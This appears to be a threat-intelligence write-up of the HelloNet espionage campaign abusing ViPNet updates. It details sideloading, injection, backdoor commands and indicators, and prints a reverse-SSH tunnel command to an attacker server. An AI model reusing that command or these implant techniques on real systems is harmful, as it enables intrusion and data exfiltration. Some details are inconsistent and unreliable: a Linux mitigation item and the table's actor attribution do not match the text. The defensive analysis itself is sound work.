HelloNet APT Campaign Abuses ViPNet Update System

An advanced threat actor is abusing the update mechanism of ViPNet, a Russian-certified private networking suite, to implant persistent backdoors in government agencies and critical infrastructure across Russia. Dubbed HelloNet by Kaspersky researchers, the campaign has been active since at least May 2026 and remains ongoing at the time of publication.

What Happened: HelloNet APT Campaign Targets Russian Organizations via ViPNet Software

The HelloNet campaign represents a sophisticated cyberespionage operation that weaponizes a trusted security product against its own users. Furthermore, the attackers leveraged DLL sideloading inside the ViPNet Update System directory to establish persistence on infected machines. Consequently, when the legitimate ViPNet update executable starts at boot time, it silently loads a malicious DLL that injects malware into the svchost.exe process.

Kaspersky researchers discovered targeted infection attempts against large Russian organizations spanning government, energy, transport, education, logistics, and industrial sectors. Also, this is not the first time ViPNet has been abused by advanced groups. For example, Kaspersky reported a similar incident in April 2025 where threat actors impersonated ViPNet updates to deploy a complex backdoor.

Technical Details of the HelloNet Intrusion

The HelloNet operation relies on a multi-stage malware toolset designed for stealth, persistence, and flexible payload delivery. Therefore, defenders should understand each component to hunt for indicators of compromise effectively.

Initial Access and Persistence: HelloInjector

The attack begins with a malicious file named wtsapi32.dll placed inside the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory. This file is a loader Kaspersky named HelloInjector. It exploits DLL sideloading via the legitimate executable itcsrvup64.exe, which launches at operating system startup. Once loaded, HelloInjector searches for a svchost.exe process with netsvcs in its command line. It then injects its payload using NtWriteVirtualMemory and NtCreateThreadEx, achieving privileged execution and reboot persistence.

Hidden Proxy and Loader: HelloProxy

The injected payload, HelloProxy, serves two functions simultaneously. First, it acts as a hidden proxy for tunneling traffic. Second, it loads additional modules delivered by the command-and-control server. HelloProxy intercepts three Windows socket functions using the Microsoft Detours library. Specifically, it hooks NtDeviceIoControlFile, closesocket, and shutdown to prevent security solutions from filtering its C2 traffic.

After installing the interceptors, HelloProxy listens on ports 5003 and 5060. Moreover, it implements a handshake protocol: it sends two bytes 0x0502 and expects the string ASDFASFSAFASDF in return. Once authenticated, it accepts either proxy commands or new executable payloads to load directly into memory.

Reconnaissance Backdoor: HelloExecutor

HelloExecutor is a backdoor module deployed through HelloProxy. It enables command execution and network reconnaissance on the host. Kaspersky observed the following reconnaissance commands executed during the campaign:

• query user — list logged-on users
• ipconfig /all — enumerate network configuration
• ping 8.8.8.8 -n 1 — test external connectivity
• net user /do and net group /do — enumerate local accounts and groups
• dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export" — inspect ViPNet certificate exports
• dir "C:\Users\Public\Music" — check staging directory for PuTTY tunnel

Log Erasure Tool: HelloCleaner

HelloCleaner is a dedicated module that removes ViPNet software log files. Its purpose is to erase traces of malicious activity within the trusted security product’s own audit trail, making forensic analysis significantly harder.

Rust-Based Backdoor: HelloBackdoor

On one infected system, Kaspersky also found HelloBackdoor, a Rust-based implant that listens on port 443. It awaits the activation string 47c6235b4d2611184 (the second half of the MD5 hash of “hello\n”). Once activated, it supports three core commands:

• !upload — push a file to the infected machine
• !down — exfiltrate a file from the infected machine
• !stop — self-terminate and remove traces via a BAT script

SSH Tunneling with Renamed PuTTY

The attackers used a renamed copy of the legitimate PuTTY Plink utility (frontpage.exe) stored in C:\Users\Public\Music to create reverse SSH tunnels. For instance, one observed command line was:

frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

This technique tunnels internal ViPNet traffic out to an attacker-controlled server, bypassing perimeter controls.

Business and Operational Impact

The HelloNet campaign poses severe risks to organizations that rely on ViPNet for secure communications. The affected sectors include:

• Government agencies — potential exposure of classified communications and internal documents
• Energy sector — risk to operational technology networks and grid infrastructure
• Transport and logistics — disruption of supply chain and critical routing systems
• Education and industry — theft of research data and intellectual property

Moreover, because the attackers achieved persistence through a certified security product, victims face a false sense of assurance. The malware effectively hides inside a tool explicitly trusted by Russian regulatory authorities. Therefore, detection through traditional antivirus or network monitoring may be delayed.

Attribution and Threat Actor Profile

Kaspersky tentatively attributes the HelloNet campaign to an unidentified Chinese-speaking APT group. However, the firm assigns this attribution low confidence. The evidence consists of an unused string referencing sina.com in one malware sample, and Rust crates downloaded from the University of Science and Technology of China mirror during compilation.

Consequently, Kaspersky warns that these artifacts could be false flags deliberately planted to mislead analysts. The researchers do not rule out alternative attributions. In contrast, Kaspersky separately links the Awaken Likho APT group (also known as Core Werewolf) to a different but related series of Russian-targeting campaigns that also began in 2024 and continued through 2025.

Mitigation and Recommendations

Immediate Actions for Defenders

1. Inspect ViPNet Update System directories for unauthorized DLL files, especially wtsapi32.dll in C:\Program Files (x86)\InfoTeCS\VIPNet Update System
2. Monitor network traffic on ports 5003, 5060, and 443 for unusual outbound connections from ViPNet endpoints
3. Hunt for renamed PuTTY or Plink binaries executing from user-writable directories such as C:\Users\Public\Music
4. Review svchost.exe injection events using EDR tools — HelloInjector uses NtWriteVirtualMemory and NtCreateThreadEx
5. Audit ViPNet logs for gaps or deletions that may indicate HelloCleaner activity
6. Check for cron jobs, systemd user services, or setuid shells at paths like /usr/local/sbin/ping6

Long-Term Defensive Posture

• Implement application whitelisting on ViPNet-managed endpoints to prevent DLL sideloading
• Deploy endpoint detection and response (EDR) with behavioral rules for code injection and network interception
• Enforce network segmentation so ViPNet nodes cannot reach arbitrary external IPs
• Rotate all ViPNet-related credentials and review certificate export directories for signs of exfiltration
• Subscribe to Kaspersky threat intelligence feeds for updated IoCs and TTPs

Bottom line: HelloNet demonstrates that even certified security software can become an attack surface. Organizations relying on ViPNet should assume trust but verify — inspect update directories, monitor anomalous network traffic, and hunt for living-off-the-land tools like renamed PuTTY binaries inside user profiles.

Incident Summary

Campaign Name:	HelloNet
Threat Actor:	Unidentified Chinese-speaking APT (tentative, low confidence); possibly Awaken Likho / Core Werewolf
First Observed:	May 2026
Disclosure Date:	July 2026 (Kaspersky Securelist publication)
Affected Sectors:	Government, energy, transport, education, logistics, industrial
Target Region:	Russia
Initial Access:	DLL sideloading via ViPNet Update System (wtsapi32.dll → itcsrvup64.exe)
Persistence:	Startup service injection into svchost.exe
C2 Channels:	Ports 5003, 5060 (HelloProxy); port 443 (HelloBackdoor); SSH tunnel via renamed PuTTY/Plink
Known IoCs:	C2 server: 5.39.253[.]206:3522; staging path: C:\Users\Public\Music\frontpage.exe
Patch Status:	N/A — product abuse, not a software vulnerability; mitigation requires defensive monitoring and hunting
Detection Verdicts:	Trojan.Win32.Agentb.ttoe, Trojan.Win64.Convagent.gen, Trojan.Win64.Agent.smgpqx, HEUR:Trojan.Win64.DllHijacking.gen

References

1. Kaspersky Securelist, “HelloNet campaign: a threat via the ViPNet update system,” July 2026, https://securelist.com/tr/hellonet-vipnet/120700/, accessed July 20, 2026.
2. Kaspersky Press Release, “Kaspersky uncovers new cyberespionage campaign targeting government entities in Russia,” July 2026, https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-new-cyberespionage-campaign-targeting-government-entities-in-russia, accessed July 20, 2026.
3. BleepingComputer, “Hackers abuse ViPNet software to target Russian govt agencies,” July 19, 2026, https://www.bleepingcomputer.com/news/security/hackers-abuse-vipnet-software-to-target-russian-govt-agencies/, accessed July 20, 2026.
4. Kaspersky Securelist, “New backdoor mimics security software update,” April 2025, https://securelist.com/new-backdoor-mimics-security-software-update/116246/, accessed July 20, 2026.